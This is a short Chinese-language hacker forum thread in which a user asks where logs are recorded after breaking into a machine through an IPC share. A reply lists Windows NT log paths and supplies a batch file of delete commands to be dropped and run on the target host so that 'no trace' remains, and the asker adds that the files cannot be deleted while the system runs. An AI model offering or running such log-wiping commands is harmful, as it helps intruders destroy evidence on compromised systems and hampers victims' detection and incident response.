论坛: 菜鸟乐园 标题: 用IPC入侵后,记录是写在哪的啊? 复制本贴地址    
作者: chjantony [chjantony]    论坛用户   登录
知道的话请说具体的路径,谢谢!!

地主 发表时间: 05/30 18:56

回复: dsh [dsh]   论坛用户   登录
你说的是日志吗?

 c:\winnt\system32\logfiles\*.*
 c:\winnt\system32\config\*.evt
 c:\winnt\system32\dtclog\*.*
 c:\winnt\system32\*.log
 c:\winnt\system32\*.txt
 c:\winnt\*.txt
 c:\winnt\*.log
 c:\del.bat
建个文本里面写
@del c:\winnt\system32\logfiles\*.*
@del c:\winnt\system32\config\*.evt
@del c:\winnt\system32\dtclog\*.*
@del c:\winnt\system32\*.log
@del c:\winnt\system32\*.txt
@del c:\winnt\*.txt
@del c:\winnt\*.log
@del c:\del.bat
另存为。BAT放到目标机上执行
就没有痕迹了
我太菜了就知道这么多


B1层 发表时间: 05/30 19:18

回复: chjantony [chjantony]   论坛用户   登录
在系统运行的时候删不了!!!

B2层 发表时间: 05/30 19:30

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号